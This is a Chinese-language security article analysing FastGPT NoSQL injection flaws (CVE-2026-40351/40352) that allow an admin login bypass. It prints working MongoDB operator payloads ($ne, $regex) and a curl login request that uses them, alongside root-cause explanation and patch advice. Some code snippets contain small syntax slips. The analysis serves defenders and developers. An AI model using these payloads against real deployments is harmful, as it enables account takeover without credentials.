FastGPT NoSQL注入致管理员登录绕过:CVE-2026-40351深度剖析

导语:FastGPT AI Agent平台被披露存在严重NoSQL注入漏洞(CVE-2026-40351),CVSS满分9.8。攻击者利用MongoDB操作符注入登录端点,无需密码即可接管任意账户——包括root管理员。此漏洞揭示了一个被广泛忽视的安全盲区:TypeScript类型系统提供的编译时安全,在NoSQL数据库查询场景下形同虚设。

NoSQL注入攻击示意图

图片版权 华盟网

漏洞概览:一次无密码登录

NoSQL注入数据流与MongoDB查询引擎示意图

图片版权 华盟网

FastGPT是一个面向AI Agent的开放平台,基于Node.js后端与MongoDB数据库构建。2026年5月,安全研究人员披露了两个关联的高危漏洞——CVE-2026-40351(CVSS 9.8)和CVE-2026-40352(CVSS 8.8),均属于NoSQL注入类型。

所谓NoSQL注入,与经典的SQL注入异曲同工,但攻击对象从关系型数据库换成了文档型数据库。在MongoDB中,查询语句并非纯字符串拼接,而是以BSON对象(即JSON对象)形式传入——这为攻击者提供了一个天然的攻击面。

为什么这件事值得关心? FastGPT是AI Agent开发的主流平台之一,企业用户用它搭建内部知识库、客服机器人和自动化工作流。管理员权限意味着攻击者可以操控所有AI Agent的行为,甚至将其武器化为数据泄露的出口。

漏洞机理:从一行 TypeScript 说起

FastGPT的登录端点(/api/v1/login)处理用户认证的逻辑如下:

// FastGPT 登录端点(简化示意)
const user = await db.users.findOne({
  email: req.body.email,
  password: req.body.password  // ← 这里出问题了
});

表面看,这段代码没有任何问题——用email和password查询用户表,找到就返回token。但关键点在于:req.body.password 直接被传入了MongoDB查询,没有经过任何类型校验或值过滤。

在JavaScript/TypeScript生态中,类型断言(as)只在编译期存在,运行时完全不生效。攻击者于是可以提交如下payload:

{
  "email": "admin@fastgpt.com",
  "password": { "$ne": "" }
}

MongoDB的 $ne 操作符含义是”不等于”。上述查询在数据库层面等价于:找一个 email 等于 admin@fastgpt.com[1] 且 password 不等于空字符串的记录——而任何设置了密码的用户都满足”password不等于空”这个条件。于是查询必然命中,认证绕过完成。

// 等效的 MongoDB shell 查询
db.users.find({
  email"admin@fastgpt.com",
  password: { $ne"" }
});
// → 返回管理员记录,认证通过 ✅

这个payload有一个进阶变体:使用 $regex 操作符进行模糊匹配:

{
  "email": "admin@fastgpt.com",
  "password": { "$regex": ".*" }
}

$regex: ".*" 表示匹配任意字符串——效果与 $ne: "" 相同,但绕过某些基于黑名单的防护过滤器。

攻击数据流

浏览器/攻击者
    │
    │ POST /api/v1/login
    │ { "email": "admin@...", "password": { "$ne": "" } }
    ▼
FastGPT 登录端点 (Node.js + Express)
    │
    │ 未对 password 字段做类型校验
    │ 直接传入 MongoDB findOne()
    ▼
MongoDB
    │
    │ 解析 $ne 操作符,匹配任意非空密码
    │ 返回管理员用户记录
    ▼
FastGPT 签发 JWT Token
    │
    │ 攻击者获得管理员权限
    ▼
攻击者控制 AI Agent 平台

漏洞影响:不只是登录

CVE-2026-40351 允许未认证的远程攻击者以任意用户身份登录,其中就包括平台root管理员。而 CVE-2026-40352 则是同一攻击模式在密码修改端点的延伸——已认证攻击者可以通过同样的MongoDB操作符绕过”旧密码”验证,进而修改任意账户的密码。

具体危害包括:

权限级别
攻击者能力
普通用户
读取私有知识库、导出对话记录
管理员
操控所有AI Agent、注入恶意Prompt、删除数据集
Root
完全控制平台、部署后门Agent、横向渗透内网

FastGPT在企业内部知识库、客服系统和自动化工作流场景广泛部署,一旦被攻击者植入后门Agent,后续的供应链污染和数据外泄将难以追踪。

漏洞影响与CVE态势示意图

图片版权 华盟网

技术根因:类型安全 ≠ 运行时安全

这起漏洞的根因值得所有使用TypeScript(或任何有类型系统语言)的开发者深思。

TypeScript的类型断言(as关键字)和类型守卫,仅在编译时静态检查,不会在运行时执行任何验证。 当数据跨越系统边界(HTTP请求 → 代码逻辑 → 数据库查询)时,TypeScript的编译期安全网完全失效。

// ❌ 错误做法:信任前端传回的类型
const loginData = req.body as LoginRequest// 编译通过,运行时无保护
await db.users.findOne(loginData);          // 攻击者传对象而非字符串

// ✅ 正确做法:运行时显式验证
const email = String(req.body.email);
const password = String(req.body.password);
if (typeof email !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error'Invalid input type' });
}
await db.users.findOne({ email, password }); // 此时 password 一定是字符串

使用Mongoose等ODM时,内置的Schema校验可提供一层保护,但Schema校验同样不是银弹——某些场景下攻击者仍可构造绕过。

补丁与缓解措施

FastGPT已于版本 4.14.9.5 修复了CVE-2026-40351和CVE-2026-40352。修复方案包括:

  1. 在登录端点对password字段强制类型校验,确保其始终为字符串
  2. 对传入MongoDB查询的参数实施Schema白名单校验
  3. 引入参数化查询逻辑,禁止MongoDB操作符从用户输入传入

对于尚未升级的用户,官方明确表示不存在有效的临时缓解方案,升级是唯一修复路径。

验证方法:如何确认自己是否受影响

受影响版本: FastGPT < 4.14.9.5

验证步骤:

  1. 查看当前FastGPT版本:访问 /api/v1/system/info 端点
  2. 发送恶意登录请求(仅限你自己的测试环境):
curl -X POST https://your-fastgpt/api/v1/login
  -H "Content-Type: application/json" 
  -d '{"email":"admin@your-domain.com","password":{"$ne":""}}'
  1. 若返回 code: 200 和有效的 JWT token,说明你确实存在漏洞
  2. 若返回 code: 401 或 code: 400,说明已修复

未来趋势预测

NoSQL注入并非新鲜攻击技术,但在AI Agent平台快速迭代的背景下,这类”经典问题”正在频繁复现。原因有三:

  1. AI平台优先追求功能迭代,安全审计跟不上发布节奏
  2. JSON-native API设计天然扩大了注入面——每次用户输入都可能是合法的JSON对象
  3. ODM/Mongoose等工具降低了MongoDB使用门槛,但并未自动解决注入问题

未来我们预计看到更多针对AI Agent平台的认证层攻击。开发团队需要在设计阶段就把输入校验作为架构决策,而不是事后补丁。


参考来源:

  • https://www.yazoul.net/advisory/cve/cve-2026-40351-fastgpt-nosql-injection-grants-admin-login/[2]
  • https://newclawtimes.com/articles/fastgpt-nosql-injection-cve-2026-40351-40352-agent-platform-admin-takeover/[3]
  • https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable[4]

图片版权 华盟网

引用链接

[1]admin@fastgpt.com: mailto:admin@fastgpt.com

[2]https://www.yazoul.net/advisory/cve/cve-2026-40351-fastgpt-nosql-injection-grants-admin-login/

[3]https://newclawtimes.com/articles/fastgpt-nosql-injection-cve-2026-40351-40352-agent-platform-admin-takeover/

[4]https://www.aikido.dev/blog/axios-cve-2026-40175-a-critical-bug-thats-not-exploitable

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容